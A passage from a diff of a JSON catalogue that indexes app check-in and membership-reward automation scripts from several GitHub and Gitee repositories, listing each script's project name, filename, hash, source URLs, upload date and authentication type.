"2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/第一电动/2025-06-28_第一电动_209af53a.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "粉象生活App", + "filename": "2026-04-02_fenxiang_c0377499.js", + "sha256": "c0377499881916fdb4520dc52e6db9c54078fc38729e125ad8f65e0b0aa88d9a", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "fenxiang.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/fenxiang.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/fenxiang.js", + "uploaded_at": "2026-04-02T13:09:35Z", + "saved_path": "脚本库/web版/抓包/粉象生活App/2026-04-02_fenxiang_c0377499.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "老铁爱分享", @@ -783,6 +1503,134 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "蜜雪冰城", + "filename": "2025-06-28_蜜雪冰城_3365d3b2.py", + "sha256": "3365d3b2294be333c9e59e0f382c7a7e84e3fe65d0e027b478939841e0730a84", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "蜜雪冰城.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%9C%9C%E9%9B%AA%E5%86%B0%E5%9F%8E.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%9C%9C%E9%9B%AA%E5%86%B0%E5%9F%8E.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/蜜雪冰城/2025-06-28_蜜雪冰城_3365d3b2.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "蜜雪秒杀", + "filename": "2025-06-28_蜜雪秒杀_abf07112.py", + "sha256": "abf071122636d805eb08d25c42ad6dad1fe571426756167e12ca9d902644f3c4", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "蜜雪秒杀.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%9C%9C%E9%9B%AA%E7%A7%92%E6%9D%80.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%9C%9C%E9%9B%AA%E7%A7%92%E6%9D%80.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/蜜雪秒杀/2025-06-28_蜜雪秒杀_abf07112.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "金徽酒会员", + "filename": "2025-06-28_金徽酒会员_9fd75c1d.py", + "sha256": "9fd75c1dd091a8a08d0f248e161e5ce52b2e81540a29e3361d4b5549bf9a263c", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "金徽酒会员.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%87%91%E5%BE%BD%E9%85%92%E4%BC%9A%E5%91%98.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%87%91%E5%BE%BD%E9%85%92%E4%BC%9A%E5%91%98.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/金徽酒会员/2025-06-28_金徽酒会员_9fd75c1d.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "雀巢会员俱乐部", + "filename": "2025-06-28_雀巢会员俱乐部_36e37724.js", + "sha256": "36e37724027418ed8a72bea51d29e679895d29d2871dc51a2447181d5523bac7", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "雀巢会员俱乐部.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%9B%80%E5%B7%A2%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%9B%80%E5%B7%A2%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/雀巢会员俱乐部/2025-06-28_雀巢会员俱乐部_36e37724.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "青碳行", + "filename": "2026-04-01_qtx_c3063c65.js", + "sha256": "c3063c6582e0fe3554616f56491bc3479fe02767b2013e0038616e08bf3a2608", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "qtx.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/qtx.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/qtx.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/web版/抓包/青碳行/2026-04-01_qtx_c3063c65.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/账密", + "project": "'',_智能微秘书_发送群名_或者好友昵称和type要对应好", + "filename": "2025-08-25_sendNotify_387e13ce.js", + "sha256": "387e13ce7a24d6f9316f9d477f16a5c990faa0392426cd35f365e4a86f81f723", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/sendNotify.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/sendNotify.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/sendNotify.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2025-08-25_sendNotify_387e13ce.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "'',_智能微秘书_发送群名_或者好友昵称和type要对应好", + "filename": "2026-05-14_sendNotify_864365eb.js", + "sha256": "864365eb357b1cea5c38394bfe210f4662a04d419d1f612976c8c3969a0a7199", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "tools/sendNotify.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/tools/sendNotify.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tools/sendNotify.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNotify_864365eb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "'',_智能微秘书_发送群名_或者好友昵称和type要对应好", + "filename": "2026-05-14_sendNofity_7da67c95.js", + "sha256": "7da67c95e7758063fb278497fcea4388a1651e5e1ac5a07b03f5d7b2d4e2585f", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "sendNofity.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/sendNofity.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/sendNofity.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNofity_7da67c95.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "'未知用户',", @@ -799,6 +1647,54 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "51代理自动签到", + "filename": "2026-05-14_51dalili_fea43cd7.py", + "sha256": "fea43cd7c31202227b74942f467d38857faf034019bfd0d73b876d100c47b55a", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/51dalili.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/51dalili.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/51dalili.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/51代理自动签到/2026-05-14_51dalili_fea43cd7.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "5_旅行相关", + "filename": "2025-11-20_5_travel_df64a760.py", + "sha256": "df64a760c6c34918f55f14d59e7fc1125fccaa7cef71b2e6d5f0fd9bab9f9e7b", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "5_travel.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/5_travel.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/5_travel.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/web版/账密/5_旅行相关/2025-11-20_5_travel_df64a760.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "99_检查_TOKEN、COOKIE_有效期", + "filename": "2025-11-20_99_check_for_validity_b7dac1c2.py", + "sha256": "b7dac1c2a41406aad9c26c8d92adf0b74a6bcbae0947eb820a674bd18047d6c4", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "99_check_for_validity.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/99_check_for_validity.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/99_check_for_validity.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/web版/账密/99_检查_TOKEN、COOKIE_有效期/2025-11-20_99_check_for_validity_b7dac1c2.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "Anime字幕论坛_,", @@ -815,6 +1711,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "Bing每日图片", + "filename": "2025-08-25_imgbing_3ecde192.js", + "sha256": "3ecde192b59e77cd75d73f50a7e76f820c59d06a8d49b4531a6de0cd14516499", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imgbing.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imgbing.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgbing.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/Bing每日图片/2025-08-25_imgbing_3ecde192.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "Bitwarden备份", @@ -831,6 +1743,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "KFC疯狂星期四搞笑语录", + "filename": "2025-08-25_kfc_f6eae98a.js", + "sha256": "f6eae98a1dac73c3f88fd06d8052ec00a8658e72e5a9defa32e8257efb9dc909", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/kfc.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/kfc.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/kfc.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/KFC疯狂星期四搞笑语录/2025-08-25_kfc_f6eae98a.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "acfun", @@ -879,6 +1807,70 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "bark_,_key_xxxxxx_,_flag_0_},", + "filename": "2025-08-25_TEMPLATE_ca814940.js", + "sha256": "ca814940e5cbd3784e70cfaaa7afb736e723a557b0a6169c20fa88a55a484c90", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/TEMPLATE.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/TEMPLATE.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/TEMPLATE.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_TEMPLATE_ca814940.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "bark_,_key_xxxxxx_,_flag_0_},", + "filename": "2025-08-25_PUSH_03f616e3.js", + "sha256": "03f616e38dec8c5f1c9aaf545820f572e718dde1c354f8d67974394f4fc42e4f", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/PUSH.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/PUSH.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/PUSH.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_PUSH_03f616e3.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "bjxd", + "filename": "2025-06-28_bjxd_e4c2c483.js", + "sha256": "e4c2c4835b61eaf962829f3d3f2bcd8cbfa3083e90ebc2db6904ad0147b7bfd8", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "bjxd.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/bjxd.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/bjxd.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/bjxd/2025-06-28_bjxd_e4c2c483.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "deepseek分析工具", + "filename": "2025-08-25_deepseek_127895dc.js", + "sha256": "127895dc5e459975a27af6e4bd374b0c435a3eeeaf21f13d3f65f8020036415d", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/deepseek.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/deepseek.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/deepseek.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/deepseek分析工具/2025-08-25_deepseek_127895dc.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "hykb", @@ -943,6 +1935,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "notify", + "filename": "2026-04-01_notify_76a2a83d.py", + "sha256": "76a2a83d57893068688fcf0f7e549094b3d69253dbd4d8ce14d26e610ddfa93c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "notify.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/notify.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/notify.py", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/web版/账密/notify/2026-04-01_notify_76a2a83d.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "parsdata", + "filename": "2025-08-25_parsdata_45c06ac4.js", + "sha256": "45c06ac414cc4055b928718409115b4e06ba3df53bafa0bc69e20442a20c5029", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/parsdata.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/parsdata.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/parsdata.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/parsdata/2025-08-25_parsdata_45c06ac4.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "return_False", @@ -1039,6 +2063,54 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "vivo社区", + "filename": "2025-08-25_vivo_572c90bb.js", + "sha256": "572c90bb000b944d156e0272a67a372ae37e710b553502a9a53dcf19d0bbc9c4", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/vivo.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/vivo.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/vivo.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/vivo社区/2025-08-25_vivo_572c90bb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "vx植物星球", + "filename": "2025-06-28_植物星球_dc1b34d5.js", + "sha256": "dc1b34d55745a93624ee9dd8223f6797ad066ad927c77332c547165f2364a57d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "植物星球.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%A4%8D%E7%89%A9%E6%98%9F%E7%90%83.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%A4%8D%E7%89%A9%E6%98%9F%E7%90%83.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/vx植物星球/2025-06-28_植物星球_dc1b34d5.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "wangchao", + "filename": "2026-05-14_wangchao_5766bea9.py", + "sha256": "5766bea96f254c536c58c331c970b56736855666f52792e2058a28daee3fa274", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "backup/wangchao.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/backup/wangchao.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/backup/wangchao.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/wangchao/2026-05-14_wangchao_5766bea9.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "yxw_appsign", @@ -1071,6 +2143,102 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "万能福利吧", + "filename": "2025-08-25_wnflb_a0c784cb.js", + "sha256": "a0c784cb397ebb321cc918c6d14410bb2e9902d6e2236b6893b2c6fa2779cd01", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/wnflb.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/wnflb.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wnflb.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/万能福利吧/2025-08-25_wnflb_a0c784cb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "中兴商城", + "filename": "2025-08-25_ztemall_0a7d6031.js", + "sha256": "0a7d603145485f774c1078c4b22950dfe8420508397dc2666980208643ed520f", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ztemall.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ztemall.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ztemall.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "中兴社区", + "filename": "2025-08-25_ql_ztebbs_4a429a41.js", + "sha256": "4a429a410e4ea4f053d462776e08aad07f8f86f34b39053a5762f466f81573d9", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_ztebbs.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_ztebbs.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_ztebbs.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/中兴社区/2025-08-25_ql_ztebbs_4a429a41.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "中国日报", + "filename": "2025-08-25_dailynewscn_75088baf.js", + "sha256": "75088baf9c9aff8ce8d46747c093efa762cfc964d7e569c153e118419a099cdb", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/dailynewscn.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/dailynewscn.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dailynewscn.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/中国日报/2025-08-25_dailynewscn_75088baf.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "中国移动APP", + "filename": "2026-05-14_chinaMobile_e5179e07.js", + "sha256": "e5179e073c2c16d19741c34ac5e61b83a965616f8437b5ca88a4916dc9d25dec", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/chinaMobile.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chinaMobile.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chinaMobile.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/中国移动APP/2026-05-14_chinaMobile_e5179e07.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "中国移动云盘", + "filename": "2026-05-14_ydyp_da3e5cb2.js", + "sha256": "da3e5cb2ed48bc6940da8036157d38a7cbe4b1a47d1732994dc5468b6e9bb835", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/ydyp.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ydyp.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ydyp.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "中石化加油广东APP签到", @@ -1087,6 +2255,86 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "二维码生成", + "filename": "2025-08-25_qrcode_23c17b49.js", + "sha256": "23c17b498b2518ba1f69976bdf3eb210ac52090178d9129e0847bd8985402aa4", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/qrcode.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/qrcode.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qrcode.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "人生倒计时", + "filename": "2025-08-25_rsdjs_744d40fb.js", + "sha256": "744d40fb22fd77808453a1c07f79ec1bddaee6807116b7ce9a4f327872710416", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/rsdjs.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/rsdjs.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/rsdjs.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "人生话语", + "filename": "2025-08-25_rshy_7997ca48.js", + "sha256": "7997ca4833d6d52eef8fc136c08035e77a56b3d7b7204dd2dcd7dc01da6da0f5", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/rshy.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/rshy.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/rshy.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/人生话语/2025-08-25_rshy_7997ca48.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "什么值得买抽奖", + "filename": "2025-08-25_ql_smzdm_7052d293.js", + "sha256": "7052d29327124b8b254ff6685a45cf8e32ad54e6cf786ecf56acb541ddd4e090", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_smzdm.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_smzdm.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_smzdm.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/什么值得买抽奖/2025-08-25_ql_smzdm_7052d293.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "今日油价", + "filename": "2025-08-25_oilprice_e5ab074d.js", + "sha256": "e5ab074d7316634f6f8c0f4c3b7639d754eb387a30b72fef27669c4149488611", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/oilprice.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/oilprice.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/oilprice.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/今日油价/2025-08-25_oilprice_e5ab074d.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "传奇GM论坛_,", @@ -1103,6 +2351,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "全国空气吸收剂量率", + "filename": "2025-08-25_airabsorbed_129ae07b.js", + "sha256": "129ae07b0f466daf813a4be5daece6297542ac86e94f917c457c308bd9812c8b", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/airabsorbed.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/airabsorbed.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/airabsorbed.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/全国空气吸收剂量率/2025-08-25_airabsorbed_129ae07b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "再漫画自动签到", @@ -1119,6 +2383,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "冷酸灵牙膏", + "filename": "2025-06-28_冷酸灵牙膏_a528b252.js", + "sha256": "a528b2523fb93195fc76ed540f422e00a740bb8385c2e0e59a12c37ac81839d1", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "冷酸灵牙膏.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%86%B7%E9%85%B8%E7%81%B5%E7%89%99%E8%86%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%86%B7%E9%85%B8%E7%81%B5%E7%89%99%E8%86%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/冷酸灵牙膏/2025-06-28_冷酸灵牙膏_a528b252.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "历史上的今天", + "filename": "2025-08-25_todayhistory_71ae3a46.js", + "sha256": "71ae3a462d8366ace26b01c472343fee038d4e45d78b6286265cb9686aa825fd", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/todayhistory.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/todayhistory.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/todayhistory.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "叮咚买菜", @@ -1135,6 +2431,150 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": 